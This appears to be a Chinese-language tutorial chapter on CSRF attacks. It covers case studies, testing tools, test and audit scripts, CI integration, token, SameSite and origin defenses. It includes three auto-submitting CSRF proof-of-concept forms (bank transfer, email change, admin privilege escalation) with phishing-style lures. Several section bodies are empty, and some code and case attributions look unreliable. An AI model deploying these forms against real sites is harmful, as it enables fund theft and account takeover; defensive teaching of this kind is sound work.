const memoryCsrfManager = new MemoryCsrfManager();攻击概述: Samy蠕虫是历史上最著名的CSRF攻击案例之一,利用了XSS和CSRF的组合漏洞,在2005年造成了MySpace平台的大规模感染。
技术细节:
影响范围: 在短短20小时内,该蠕虫感染了超过100万MySpace用户,创造了当时最快的病毒传播记录。
防御启示:
攻击概述: LinkedIn在2012年被发现存在多个CSRF漏洞,允许攻击者在用户不知情的情况下执行各种操作。
技术细节:
漏洞修复: LinkedIn在收到漏洞报告后,迅速在所有状态改变的请求中实施了CSRF令牌验证。
防御启示:
攻击概述: Uber在2016年被发现存在CSRF漏洞,允许攻击者更改用户的账户信息和支付方式。
技术细节:
漏洞影响: 此漏洞可能导致用户账户被接管,支付方式被更改,造成经济损失。
修复措施: Uber实施了更严格的CSRF令牌验证,并增加了敏感操作的二次确认机制。
攻击概述: 虽然主要是社会工程学攻击,但CSRF技术在2014年孟加拉国央行SWIFT系统攻击中也起到了重要作用。
技术细节:
攻击结果: 攻击者成功从孟加拉国央行窃取了8100万美元,尝试窃取的金额高达10亿美元。
防御启示:
攻击概述: 印度一家主要银行的移动应用在2019年被发现存在严重的CSRF漏洞,可能导致未授权的资金转账。
技术细节:
修复措施: 银行在发现漏洞后,迅速更新了应用,实施了适当的CSRF令牌验证和服务器端验证机制。
防御启示:
攻击概述: Facebook在2018年被发现存在CSRF漏洞,允许攻击者在用户不知情的情况下更改隐私设置。
技术细节:
修复过程: Facebook在收到报告后立即修复了漏洞,并向漏洞发现者支付了漏洞奖励。
防御启示:
攻击概述: Twitter在2020年发生的一系列高调账户接管事件中,CSRF技术被用于绕过部分安全控制。
技术细节:
攻击影响: 多个名人、企业和政府官员的账户被接管,造成了重大的声誉损失和潜在的金融影响。
安全改进: Twitter加强了内部系统的安全控制,实施了更严格的多因素认证和访问控制。
攻击概述: 多个流行的企业ERP系统在2017年被发现存在CSRF漏洞,可能导致未授权的数据修改和用户权限提升。
技术细节:
修复措施: 相关厂商发布了安全补丁,实施了CSRF令牌和其他防御机制。
防御启示:
攻击概述: 多家医疗机构使用的患者管理系统在2021年被发现存在CSRF漏洞,可能导致患者数据被未授权访问或修改。
技术细节:
漏洞修复: 医疗软件供应商紧急发布了安全更新,医疗组织被建议立即应用这些更新。
防御启示:
通过分析这些真实的CSRF攻击案例,我们可以总结出一些共同点和防御经验:
这些真实案例提醒我们,CSRF攻击仍然是一种严重的安全威胁,需要持续关注和有效防御。通过实施本章介绍的防御策略,组织可以显著降低CSRF攻击的风险,保护用户数据和系统安全。
自动化测试是发现CSRF漏洞的重要手段,可以快速检测大量请求和端点:
OWASP ZAP (Zed Attack Proxy) 是一个强大的开源安全测试工具,可以用于CSRF漏洞的检测:
基本设置与配置:
使用步骤:
1. 在ZAP中创建新的上下文,包含目标网站
2. 使用ZAP的Spider功能爬取网站结构
3. 运行Active Scan,确保勾选CSRF相关规则
4. 查看扫描结果中的CSRF漏洞报告
5. 对发现的潜在漏洞进行手动验证CSRF测试规则配置: 在ZAP中,可以通过以下方式配置CSRF测试规则:
Burp Suite是专业Web安全测试工具,提供了强大的CSRF测试功能:
使用CSRF Scanner插件:
1. 在Burp Suite中,确保已安装CSRF Scanner插件
2. 通过Proxy拦截浏览器请求
3. 对包含状态更改的请求右键,选择"Do active scan"
4. 在扫描设置中,确保启用CSRF相关测试
5. 查看扫描结果中的CSRF漏洞警告使用Burp的CSRF PoC生成器:
1. 在Proxy或Repeater中选择一个请求
2. 右键选择"Generate CSRF PoC"
3. 检查生成的HTML表单是否能成功执行操作
4. 分析CSRF令牌是否被正确处理或可以绕过Burp Suite Professional的高级功能:
除了使用现成工具,也可以编写自定义脚本来测试CSRF漏洞:
Python测试脚本示例:
import requests
from bs4 import BeautifulSoup
import random
import string
def generate_random_string(length=8):
"""生成随机字符串"""
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for _ in range(length))
def test_csrf_vulnerability(base_url, login_url, target_url, form_data, session=None):
"""
测试CSRF漏洞
参数:
base_url: 基础URL
login_url: 登录URL
target_url: 要测试的目标URL
form_data: 表单数据字典
session: 可选的requests.Session对象
返回:
测试结果字典
"""
if not session:
session = requests.Session()
# 第一步:登录获取会话
print(f"正在登录: {login_url}")
login_response = session.post(login_url, data=form_data['login'])
if login_response.status_code != 200:
return {"success": False, "error": f"登录失败: 状态码 {login_response.status_code}"}
# 第二步:正常执行操作以获取基准
print(f"正常执行操作: {target_url}")
normal_response = session.post(target_url, data=form_data['action'])
# 第三步:创建新会话,但不登录
attack_session = requests.Session()
# 第四步:从正常会话复制cookies到攻击会话
for cookie in session.cookies:
attack_session.cookies.set(cookie.name, cookie.value)
# 第五步:移除任何可能的CSRF令牌
csrf_keys = ['csrf', 'token', 'csrfToken', '_token', '__RequestVerificationToken']
attack_data = form_data['action'].copy()
for key in list(attack_data.keys()):
for csrf_key in csrf_keys:
if csrf_key.lower() in key.lower():
del attack_data[key]
print(f"已移除CSRF令牌: {key}")
break
# 第六步:执行攻击请求
print(f"执行CSRF攻击测试: {target_url}")
attack_response = attack_session.post(target_url, data=attack_data)
# 第七步:分析结果
result = {
"success": True,
"normal_status": normal_response.status_code,
"attack_status": attack_response.status_code,
"csrf_tokens_removed": len(form_data['action']) - len(attack_data),
"csrf_protected": attack_response.status_code != normal_response.status_code
}
if result["csrf_protected"]:
result["message"] = "目标可能受到CSRF保护"
else:
result["message"] = "目标可能存在CSRF漏洞"
return result
# 使用示例
if __name__ == "__main__":
# 配置测试参数
config = {
"base_url": "http://example.com",
"login_url": "http://example.com/login",
"target_url": "http://example.com/change-password",
"form_data": {
"login": {
"username": "testuser",
"password": "password123"
},
"action": {
"current_password": "password123",
"new_password": "newpass123",
"confirm_password": "newpass123",
"csrf_token": "" # 将在运行时从页面获取
}
}
}
# 运行测试
result = test_csrf_vulnerability(**config)
print("\n测试结果:")
for key, value in result.items():
print(f"{key}: {value}")JavaScript自动化测试框架:
// 使用Puppeteer进行CSRF自动化测试
const puppeteer = require('puppeteer');
async function testCsrfVulnerability() {
// 启动浏览器
const browser = await puppeteer.launch({
headless: false,
slowMo: 200 // 减慢操作速度以便观察
});
try {
// 创建两个标签页:一个用于正常操作,一个用于攻击
const [normalPage, attackPage] = await Promise.all([
browser.newPage(),
browser.newPage()
]);
// 登录正常页面
console.log('登录正常页面...');
await normalPage.goto('http://example.com/login');
await normalPage.type('#username', 'testuser');
await normalPage.type('#password', 'password123');
await normalPage.click('#login-button');
await normalPage.waitForNavigation();
// 访问目标页面
console.log('访问目标页面...');
await normalPage.goto('http://example.com/profile');
// 获取页面上的CSRF令牌
const csrfToken = await normalPage.$eval(
'input[name="csrfToken"]',
el => el.value
);
console.log(`获取到CSRF令牌: ${csrfToken}`);
// 正常更新操作(带CSRF令牌)
console.log('执行正常更新操作...');
await normalPage.type('#email', `normal_update_${Date.now()}@example.com`);
await normalPage.click('#update-button');
await normalPage.waitForNavigation();
// 现在测试CSRF攻击 - 复制cookie但不使用CSRF令牌
console.log('准备CSRF攻击...');
// 复制cookie到攻击页面
const cookies = await normalPage.cookies();
await attackPage.setCookie(...cookies);
// 在攻击页面访问相同的表单页面
await attackPage.goto('http://example.com/profile');
// 尝试在不使用CSRF令牌的情况下更新
console.log('执行CSRF攻击...');
await attackPage.type('#email', `csrf_attack_${Date.now()}@example.com`);
// 移除CSRF令牌输入
await attackPage.evaluate(() => {
const csrfInput = document.querySelector('input[name="csrfToken"]');
if (csrfInput) {
csrfInput.value = ''; // 清空令牌值
}
});
// 提交表单
await attackPage.click('#update-button');
// 检查结果
await attackPage.waitForNavigation({
waitUntil: 'networkidle0',
timeout: 5000
}).catch(err => {
console.log('CSRF攻击可能被阻止,导航超时');
});
// 分析结果
const attackSuccess = await attackPage.evaluate(() => {
// 根据页面内容判断攻击是否成功
return document.body.innerText.includes('更新成功');
});
console.log(`CSRF测试结果: ${attackSuccess ? '可能存在漏洞' : '受到保护'}`);
} catch (error) {
console.error('测试过程中出错:', error);
} finally {
// 关闭浏览器
await browser.close();
}
}
// 运行测试
testCsrfVulnerability();进行CSRF安全审计时,可以使用以下清单确保全面覆盖:
审计要点:
审计脚本示例:
import requests
import re
def audit_csrf_tokens(url, session=None):
"""审计网站上的CSRF令牌实现"""
if not session:
session = requests.Session()
# 访问页面获取表单
response = session.get(url)
# 提取所有表单
forms = re.findall(r'<form[^>]*>(.*?)</form>', response.text, re.DOTALL)
audit_results = {
"url": url,
"forms_found": len(forms),
"csrf_protected_forms": 0,
"csrf_tokens": [],
"potential_issues": []
}
# 检查每个表单
for i, form in enumerate(forms):
form_action = re.search(r'action=["\']([^"\']*)["\']', form)
form_method = re.search(r'method=["\']([^"\']*)["\']', form, re.IGNORECASE)
action = form_action.group(1) if form_action else url
method = form_method.group(1).upper() if form_method else 'GET'
# 检查是否包含CSRF令牌
csrf_token = re.search(r'<input[^>]*name=["\'](csrf|token|csrfToken|_token|__RequestVerificationToken)["\'][^>]*value=["\']([^"\']*)["\']', form, re.IGNORECASE)
if csrf_token:
token_name = csrf_token.group(1)
token_value = csrf_token.group(2)
audit_results["csrf_protected_forms"] += 1
audit_results["csrf_tokens"].append({"name": token_name, "value": token_value})
# 检查令牌强度
if len(token_value) < 16:
audit_results["potential_issues"].append(f"表单{i+1}的CSRF令牌可能不够强")
else:
if method != 'GET':
audit_results["potential_issues"].append(f"表单{i+1} ({method} {action}) 可能缺少CSRF保护")
return audit_results审计要点:
Cookie安全检查脚本:
import requests
def audit_cookie_security(url, session=None):
"""审计Cookie安全设置"""
if not session:
session = requests.Session()
# 发送请求获取Cookie
response = session.get(url)
audit_results = {
"url": url,
"cookies": [],
"security_issues": []
}
# 分析每个Cookie
for cookie in session.cookies:
cookie_info = {
"name": cookie.name,
"secure": cookie.secure,
"httponly": cookie.has_nonstandard_attr('HttpOnly'),
"samesite": cookie.get_nonstandard_attr('SameSite'),
"expires": cookie.expires,
"domain": cookie.domain,
"path": cookie.path
}
audit_results["cookies"].append(cookie_info)
# 检查安全问题
if not cookie.secure:
audit_results["security_issues"].append(f"Cookie '{cookie.name}' 未设置Secure标志")
if not cookie.has_nonstandard_attr('HttpOnly'):
audit_results["security_issues"].append(f"Cookie '{cookie.name}' 未设置HttpOnly标志")
samesite = cookie.get_nonstandard_attr('SameSite')
if not samesite or samesite not in ['Strict', 'Lax']:
audit_results["security_issues"].append(f"Cookie '{cookie.name}' SameSite属性设置不当或缺失")
return audit_results审计要点:
响应头检查脚本:
import requests
def audit_response_headers(url):
"""审计HTTP响应头的安全设置"""
response = requests.head(url)
headers = response.headers
recommended_headers = {
"Content-Type": {"present": "Content-Type" in headers},
"X-Content-Type-Options": {"present": "X-Content-Type-Options" in headers, "value": headers.get("X-Content-Type-Options")},
"X-Frame-Options": {"present": "X-Frame-Options" in headers, "value": headers.get("X-Frame-Options")},
"Content-Security-Policy": {"present": "Content-Security-Policy" in headers},
"Referrer-Policy": {"present": "Referrer-Policy" in headers}
}
issues = []
# 检查必要的安全头
if not recommended_headers["X-Content-Type-Options"]["present"]:
issues.append("缺少 X-Content-Type-Options: nosniff 头,可能导致MIME类型嗅探漏洞")
if not recommended_headers["X-Frame-Options"]["present"]:
issues.append("缺少 X-Frame-Options 头,可能容易受到点击劫持攻击")
if not recommended_headers["Content-Security-Policy"]["present"]:
issues.append("缺少 Content-Security-Policy 头,可能增加XSS和其他注入攻击的风险")
return {
"url": url,
"status_code": response.status_code,
"headers": dict(headers),
"recommended_headers": recommended_headers,
"security_issues": issues
}代码审查是发现CSRF漏洞的另一种重要方法,特别是针对自定义框架或复杂应用:
审查要点:
Python Flask应用代码审查示例:
# 不安全的实现示例 - 缺少CSRF保护
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/api/transfer', methods=['POST'])
def transfer_funds():
# 危险:直接处理转账请求,没有CSRF保护
amount = request.json.get('amount')
recipient = request.json.get('recipient')
# 执行转账逻辑
# ...
return jsonify({'status': 'success'})
# 安全的实现示例 - 带有CSRF保护
from flask import Flask, request, jsonify, session
from flask_wtf.csrf import CSRFProtect
import secrets
app = Flask(__name__)
app.config['SECRET_KEY'] = secrets.token_urlsafe(32)
csrf = CSRFProtect(app)
@app.route('/api/transfer', methods=['POST'])
def transfer_funds_secure():
# CSRF令牌会自动验证
# 检查请求头中的X-CSRFToken
amount = request.json.get('amount')
recipient = request.json.get('recipient')
# 执行转账逻辑
# ...
return jsonify({'status': 'success'})Node.js Express应用代码审查示例:
// 不安全的实现示例 - 缺少CSRF保护
const express = require('express');
const app = express();
app.use(express.json());
app.post('/api/change-password', (req, res) => {
// 危险:没有CSRF保护
const { newPassword } = req.body;
// 更改密码逻辑
res.json({ success: true });
});
// 安全的实现示例 - 带有CSRF保护
const express = require('express');
const csrf = require('csurf');
const cookieParser = require('cookie-parser');
const app = express();
// 设置cookie解析器
app.use(cookieParser());
app.use(express.json());
// 创建CSRF保护中间件
const csrfProtection = csrf({ cookie: true });
// 对敏感操作应用CSRF保护
app.post('/api/change-password', csrfProtection, (req, res) => {
// CSRF令牌会自动验证
// 从请求头的x-csrf-token验证
const { newPassword } = req.body;
// 更改密码逻辑
res.json({ success: true });
});
// 提供CSRF令牌给前端
app.get('/api/csrf-token', csrfProtection, (req, res) => {
res.json({ csrfToken: req.csrfToken() });
});审查要点:
前端代码审查示例:
// 不安全的实现 - 缺少CSRF令牌
function updateProfile(userData) {
fetch('/api/profile', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(userData)
});
}
// 安全的实现 - 包含CSRF令牌
function getCsrfToken() {
// 从meta标签获取令牌
const tokenElement = document.querySelector('meta[name="csrf-token"]');
return tokenElement ? tokenElement.getAttribute('content') : '';
}
function updateProfileSecure(userData) {
fetch('/api/profile', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCsrfToken() // 在请求头中添加令牌
},
credentials: 'include', // 包含cookies
body: JSON.stringify({
...userData,
csrfToken: getCsrfToken() // 在请求体中也添加令牌作为额外保障
})
});
}将CSRF安全测试集成到持续集成(CI)流程中,可以在开发早期发现和修复问题:
Jenkins配置示例:
pipeline {
agent any
stages {
stage('Security Tests') {
steps {
// 运行OWASP ZAP扫描
sh 'zap-cli quick-scan --self-contained --start-options "-config api.disablekey=true" -r zap-report.html https://staging-app.example.com'
// 运行自定义CSRF测试脚本
sh 'python3 tests/security/csrf_tests.py --target https://staging-app.example.com --output csrf-results.json'
// 发布安全报告
publishHTML([allowMissing: false,
alwaysLinkToLastBuild: true,
keepAll: true,
reportDir: '.',
reportFiles: 'zap-report.html',
reportName: 'CSRF Security Report'])
}
}
}
post {
failure {
// 安全问题通知
emailext (subject: "[Security Alert] CSRF Tests Failed in ${env.JOB_NAME}",
body: "Please check the security test results for potential CSRF vulnerabilities.",
to: 'security-team@example.com')
}
}
}GitHub Actions配置示例:
name: Security Tests
on:
push:
branches: [ main, develop ]
pull_request:
branches: [ main, develop ]
jobs:
csrf-test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Set up Python
uses: actions/setup-python@v4
with:
python-version: '3.10'
- name: Install dependencies
run: |
python -m pip install --upgrade pip
pip install requests pytest beautifulsoup4
- name: Run CSRF tests
run: |
pytest tests/security/test_csrf.py -v --html=csrf-report.html
- name: Upload CSRF test report
uses: actions/upload-artifact@v3
with:
name: csrf-report
path: csrf-report.html
- name: Run OWASP ZAP scan
uses: zaproxy/action-baseline@v0.7.0
with:
target: 'https://staging-app.example.com'
rules_file_name: '.zap/rules.tsv'
cmd_options: '-a' # 包含所有扫描规则集成OWASP Dependency-Check:
# 在CI/CD流程中运行依赖检查
# 这可以帮助发现可能引入CSRF漏洞的依赖库问题
dependency-check --project "My Web App" --scan "src" --out "reports" --format "HTML"集成SonarQube安全扫描:
# 使用SonarQube扫描代码中的安全问题,包括CSRF相关问题
sonar-scanner \
-Dsonar.projectKey=my-web-app \
-Dsonar.sources=src \
-Dsonar.host.url=http://sonarqube.example.com \
-Dsonar.login=TOKEN \
-Dsonar.qualitygate.wait=true基于前面章节的详细讨论,以下是防御CSRF攻击的最佳实践汇总:
单一的防御机制可能被绕过,构建多层防御架构是最佳实践:
客户端层 --> 传输层 --> API网关层 --> 中间件层 --> 应用层 --> 数据层
| | | | |
CSRF令牌 HTTPS 流量过滤 令牌验证 业务验证 访问控制
安全存储 安全传输 Referer检查 会话绑定 权限检查 数据加密各层防御职责:
多层防御代码示例:
# Python Flask多层CSRF防御示例
from flask import Flask, request, jsonify, session, abort
import secrets
import hashlib
from functools import wraps
app = Flask(__name__)
app.config['SECRET_KEY'] = secrets.token_urlsafe(32)
# 1. 中间件层:CSRF令牌验证
def csrf_protection(f):
@wraps(f)
def decorated_function(*args, **kwargs):
# 检查是否为安全的HTTP方法
if request.method in ['POST', 'PUT', 'DELETE', 'PATCH']:
# 获取CSRF令牌(多种来源)
token = request.headers.get('X-CSRF-Token') or request.form.get('csrfToken') or request.json.get('csrfToken')
# 检查令牌是否存在
if not token:
app.logger.warning('CSRF token missing')
abort(403, description='CSRF token missing')
# 检查令牌是否有效
if not is_valid_csrf_token(token):
app.logger.warning('CSRF token validation failed')
abort(403, description='CSRF token validation failed')
# 2. API网关层:验证Referer/Origin
referer = request.headers.get('Referer')
origin = request.headers.get('Origin')
if not is_valid_origin(referer, origin):
app.logger.warning('Invalid request origin')
abort(403, description='Invalid request origin')
return f(*args, **kwargs)
return decorated_function
# 生成CSRF令牌
def generate_csrf_token():
# 基于会话ID和随机数生成令牌
session_id = session.get('_id')
if not session_id:
session['_id'] = secrets.token_urlsafe(16)
session_id = session['_id']
random_value = secrets.token_urlsafe(16)
token_data = f"{session_id}:{random_value}:{request.remote_addr}"
# 生成哈希令牌
token = hashlib.sha256(token_data.encode()).hexdigest()
# 存储令牌到会话
session['csrf_token'] = token
session['csrf_token_timestamp'] = time.time()
return token
# 验证CSRF令牌
def is_valid_csrf_token(token):
# 检查会话中是否有令牌
stored_token = session.get('csrf_token')
if not stored_token:
return False
# 检查令牌是否匹配
if token != stored_token:
return False
# 检查令牌是否过期(例如1小时)
token_timestamp = session.get('csrf_token_timestamp', 0)
if time.time() - token_timestamp > 3600:
return False
return True
# 验证请求来源
def is_valid_origin(referer, origin):
# 允许的域名列表
allowed_domains = ['example.com', 'test.example.com']
# 检查Referer
if referer:
try:
referer_domain = urlparse(referer).netloc
for domain in allowed_domains:
if referer_domain.endswith(domain):
return True
except Exception:
pass
# 检查Origin
if origin:
try:
origin_domain = urlparse(origin).netloc
for domain in allowed_domains:
if origin_domain.endswith(domain):
return True
except Exception:
pass
# 对于localhost开发环境允许
if referer and ('localhost' in referer or '127.0.0.1' in referer):
return True
return False
# 3. 应用层:需要CSRF保护的路由
@app.route('/api/transfer-funds', methods=['POST'])
@csrf_protection
def transfer_funds():
# 4. 业务层验证
data = request.get_json()
# 验证金额
amount = data.get('amount')
if not amount or amount <= 0:
return jsonify({'error': 'Invalid amount'}), 400
# 验证收款人
recipient = data.get('recipient')
if not recipient:
return jsonify({'error': 'Recipient required'}), 400
# 验证权限(用户是否有权限转账)
if not has_transfer_permission(session.get('user_id'), amount):
return jsonify({'error': 'Insufficient permissions'}), 403
# 执行转账逻辑
# ...
# 5. 审计日志
log_transaction(session.get('user_id'), recipient, amount)
return jsonify({'success': True, 'message': 'Transfer completed'})
# 获取CSRF令牌的路由
@app.route('/api/csrf-token', methods=['GET'])
def get_csrf_token():
token = generate_csrf_token()
return jsonify({'csrfToken': token})随着Web技术的发展,CSRF防御机制也在不断演进:
CSRF攻击虽然不像XSS或SQL注入那样受到广泛关注,但它仍然是一种严重的安全威胁,可能导致未授权的数据修改、资金损失和账户接管。通过实施本章介绍的多层防御策略,开发者和安全专业人员可以有效降低CSRF攻击的风险。
最终安全建议:
通过综合应用这些策略,组织可以构建一个强大的防御体系,有效应对CSRF攻击的威胁,保护用户数据和系统安全。在Web安全的不断发展中,持续学习和适应新的威胁和防御技术是保持安全的关键。
以下是一个简单的CSRF漏洞测试流程:
除了手动测试外,还可以使用专业工具来辅助CSRF漏洞的测试和利用。
CSRFTester是一款专门用于CSRF测试的工具,使用方法如下:
Burp Suite作为Web安全测试的综合工具,也提供了强大的CSRF测试功能:
在识别到CSRF漏洞后,需要对其进行风险评估,主要考虑以下因素:
根据OWASP的风险评估标准,CSRF漏洞通常按照以下等级进行分类:
这是一个典型的金融领域CSRF攻击案例:
某银行的网上银行系统存在CSRF漏洞,攻击者发现转账功能没有有效的CSRF保护机制。
攻击者 → 创建恶意网站(含自动提交表单)
↓
用户 → 登录银行系统
↓
用户 → 被诱导访问恶意网站
↓
恶意网站 → 自动提交转账请求到银行服务器
↓
银行服务器 → 验证用户Cookie有效
↓
银行服务器 → 执行转账操作
↓
用户资金 → 转移到攻击者控制账户攻击时序表:
时间顺序 | 参与方 | 行为 | 关键信息 |
|---|---|---|---|
T1 | 攻击者 | 创建恶意页面 | 包含自动提交表单 |
T2 | 用户 | 访问银行网站并登录 | 获得有效的会话Cookie |
T3 | 攻击者 | 发送钓鱼链接 | 诱导用户点击 |
T4 | 用户 | 访问恶意网站 | 浏览器自动提交表单 |
T5 | 银行服务器 | 接收转账请求 | 验证Cookie有效 |
T6 | 银行服务器 | 执行转账操作 | 资金转移成功 |
<!DOCTYPE html>
<html>
<body onload="document.getElementById('transferForm').submit()">
<form id="transferForm" action="https://bank.example.com/api/transfer" method="POST">
<input type="hidden" name="fromAccount" value="userAccount">
<input type="hidden" name="toAccount" value="attacker123456">
<input type="hidden" name="amount" value="100000">
<input type="hidden" name="description" value="CSRF Attack Example">
</form>
</body>
</html>防御措施对比表:
防御措施 | 实施难度 | 保护效果 | 适用场景 |
|---|---|---|---|
CSRF Token | 中等 | 高 | 所有表单和API请求 |
SameSite Cookie | 低 | 中高 | 全站保护 |
Referer验证 | 低 | 中 | 辅助验证 |
二次验证 | 高 | 很高 | 敏感操作(转账、修改密码) |
交易确认页面 | 中等 | 高 | 重要操作 |
此案例表明,金融系统必须实施严格的CSRF防护措施,特别是对于资金操作等高风险功能。
你是否遇到过类似的钓鱼网站?在使用网上银行时,你会采取哪些额外的安全措施来保护自己的账户安全?
某社交网站的账户设置页面存在CSRF漏洞,允许攻击者修改用户的绑定邮箱。
攻击者 → 构造修改邮箱的恶意页面
↓
攻击者 → 发送钓鱼邮件给受害者
↓
用户 → 已登录社交网站(持有有效Cookie)
↓
用户 → 点击邮件中的恶意链接
↓
恶意页面 → 自动提交修改邮箱请求
↓
社交网站 → 执行邮箱修改操作
↓
攻击者 → 使用新邮箱进行密码重置
↓
攻击者 → 完全控制用户账户攻击关键步骤表:
步骤 | 攻击行为 | 技术要点 | 防御缺失点 |
|---|---|---|---|
1 | 钓鱼诱导 | 社会工程学 | 缺乏用户安全意识 |
2 | CSRF攻击 | 利用有效会话Cookie | 无CSRF Token验证 |
3 | 邮箱修改 | 成功绕过身份验证 | 缺少敏感操作二次确认 |
4 | 账户接管 | 通过密码重置完成 | 邮箱修改未触发通知 |
<!DOCTYPE html>
<html>
<body>
<h1>恭喜您获得免费礼品!</h1>
<img src="gift.jpg" alt="礼品图片">
<p>点击下方按钮领取礼品:</p>
<form action="https://social.example.com/settings/update_email" method="POST">
<input type="hidden" name="email" value="attacker@malicious.com">
<input type="submit" value="领取礼品">
</form>
</body>
</html>此案例说明,即使是看似非关键的操作,如修改绑定邮箱,也可能成为账户接管的入口,必须实施全面的CSRF防护。
你是否曾经收到过要求你点击链接领奖或验证账户的可疑邮件?你是如何识别这些潜在的钓鱼尝试的?
某企业内部管理系统存在CSRF漏洞,管理员页面的用户权限修改功能未受保护。
攻击者 → 发现管理系统CSRF漏洞
↓
攻击者 → 构造权限提升恶意页面
↓
攻击者 → 发送钓鱼邮件给系统管理员
↓
管理员 → 登录管理系统(持有高权限Cookie)
↓
管理员 → 访问恶意页面
↓
恶意页面 → 自动提交权限提升请求
↓
管理系统 → 执行权限提升操作
↓
攻击者账户 → 获得管理员权限
↓
攻击者 → 访问敏感数据/控制系统权限提升攻击风险分析表:
攻击阶段 | 企业系统脆弱点 | 潜在影响 | 防御建议 |
|---|---|---|---|
漏洞发现 | 缺乏安全审计 | 被攻击者识别漏洞 | 定期安全测试 |
钓鱼邮件 | 管理员安全意识 | 高权限账户被利用 | 安全培训与演练 |
CSRF利用 | 缺少CSRF保护 | 权限被非法提升 | 实施Token验证 |
权限执行 | 缺少权限变更审计 | 无迹可寻的攻击 | 记录所有权限变更 |
横向移动 | 权限隔离不足 | 整个系统被控制 | 实施最小权限原则 |
<!DOCTYPE html>
<html>
<head>
<title>系统安全更新通知</title>
<script>
function submitForm() {
document.getElementById('csrfForm').submit();
}
setTimeout(submitForm, 2000);
</script>
</head>
<body>
<h2>系统安全更新,请等待...</h2>
<form id="csrfForm" action="https://admin.example.com/user/update_permissions" method="POST">
<input type="hidden" name="userId" value="attacker123">
<input type="hidden" name="role" value="administrator">
<input type="hidden" name="permissions" value="all">
</form>
</body>
</html>此案例强调了在企业环境中,CSRF漏洞可能导致严重的权限提升问题,特别是针对管理员账户的攻击。
你认为企业应该采取哪些措施来保护管理后台免受CSRF攻击?对于管理员账户,你有什么特别的安全建议?
CSRF Token是目前最有效、应用最广泛的CSRF防御机制之一。
服务器 → 生成唯一Token
↓
服务器 → 存储Session并嵌入页面
↓
用户 → 提交请求时携带Token
↓
服务器 → 验证Token有效性
↓
验证通过 → 执行请求操作
↓
验证失败 → 拒绝请求CSRF Token生命周期表:
阶段 | 操作 | 安全要点 | 实现建议 |
|---|---|---|---|
生成 | 服务器创建Token | 随机性、唯一性 | 使用加密安全的随机数生成器 |
存储 | 服务器保存Token | 关联用户会话 | 存储在Session或专用存储 |
传输 | Token发送给客户端 | 安全传输 | 使用HTTPS,避免URL参数 |
提交 | 用户请求包含Token | 完整性验证 | 表单字段或请求头 |
验证 | 服务器核对Token | 精确匹配 | 严格比较,防止时间差攻击 |
销毁 | Token失效处理 | 防止重用 | 单次使用或会话结束即销毁 |
CSRF Token的基本工作原理如下:
CSRF Token可以通过以下几种方式在页面中嵌入和提交:
最常见的实现方式是将Token作为隐藏字段嵌入到表单中:
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="a1b2c3d4e5f6g7h8i9j0">
<!-- 其他表单字段 -->
<input type="submit" value="提交">
</form>对于AJAX请求,可以将Token放在HTTP请求头中:
const csrfToken = document.querySelector('meta[name="csrf-token"]').getAttribute('content');
fetch('/api/data', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
body: JSON.stringify({ /* 数据 */ })
});将Token存储在页面的meta标签中,方便JavaScript获取:
<meta name="csrf-token" content="a1b2c3d4e5f6g7h8i9j0">实施CSRF Token防御时,应遵循以下最佳实践:
SameSite是Cookie的一个安全属性,可以有效防御CSRF攻击。
Cookie设置SameSite属性
├── Strict: 仅同站请求发送Cookie
├── Lax: 导航GET请求发送,其他跨站请求不发送
└── None: 所有请求发送,但必须配合Secure属性SameSite值对比表:
SameSite值 | 安全性 | 用户体验 | 适用场景 | 跨站POST请求 |
|---|---|---|---|---|
Strict | 最高 | 较差 | 高敏感操作 | 不发送Cookie |
Lax | 中等 | 良好 | 一般网站 | 不发送Cookie |
None | 最低 | 最佳 | 需要跨站Cookie | 发送Cookie(需Secure) |
SameSite Cookie属性告诉浏览器在什么情况下可以发送Cookie,从而有效防止CSRF攻击。它有三个可能的值:
SameSite属性的防御原理在于:它限制了Cookie在跨站请求中的发送行为,使得攻击者即使构造了恶意请求,也无法利用用户的Cookie进行身份认证。
在你的项目中,你使用了哪种SameSite设置?为什么选择这个设置?你认为对于不同类型的网站,SameSite策略应该如何选择?
在不同的Web服务器和编程语言中,配置SameSite Cookie的方法有所不同:
在Nginx中,可以通过添加响应头来设置SameSite属性:
add_header Set-Cookie "sessionid=$cookie_sessionid; Path=/; HttpOnly; Secure; SameSite=Lax" always;在Apache中,可以使用mod_headers模块来设置SameSite属性:
Header always edit Set-Cookie (.*) "$1; SameSite=Lax"PHP实现:
// PHP 7.3+ 支持直接设置SameSite
setcookie('sessionid', $sessionid, [
'expires' => time() + 3600,
'path' => '/',
'domain' => '',
'secure' => true,
'httponly' => true,
'samesite' => 'Lax'
]);
// 对于旧版PHP,可以手动设置
header('Set-Cookie: sessionid=' . $sessionid . '; Path=/; HttpOnly; Secure; SameSite=Lax');Node.js (Express)实现:
const express = require('express');
const session = require('express-session');
const app = express();
app.use(session({
secret: 'your-secret-key',
cookie: {
httpOnly: true,
secure: true,
sameSite: 'lax'
}
}));Java (Spring)实现:
// 在Spring Boot中配置Cookie
server.servlet.session.cookie.same-site=lax
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true
// 或者在代码中设置
Cookie cookie = new Cookie("sessionid", sessionId);
cookie.setHttpOnly(true);
cookie.setSecure(true);
cookie.setSameSite(Cookie.SameSitePolicy.LAX);
response.addCookie(cookie);Python (Flask)实现:
from flask import Flask, session
from werkzeug.middleware.proxy_fix import ProxyFix
app = Flask(__name__)
app.wsgi_app = ProxyFix(app.wsgi_app)
app.config.update(
SESSION_COOKIE_SECURE=True,
SESSION_COOKIE_HTTPONLY=True,
SESSION_COOKIE_SAMESITE='Lax'
)虽然SameSite Cookie是一种有效的CSRF防御机制,但它也存在一些局限性:
验证HTTP请求中的Referer或Origin头是另一种常用的CSRF防御机制。
请求到达服务器
↓
服务器检查Referer/Origin头
↓
├── 头不存在 → 拒绝请求
↓
├── 头存在 → 提取来源信息
↓
├── 验证来源是否在白名单中
↓
├── 验证通过 → 处理请求
↓
└── 验证失败 → 拒绝请求Referer/Origin头对比表:
特性 | Referer头 | Origin头 | 安全建议 |
|---|---|---|---|
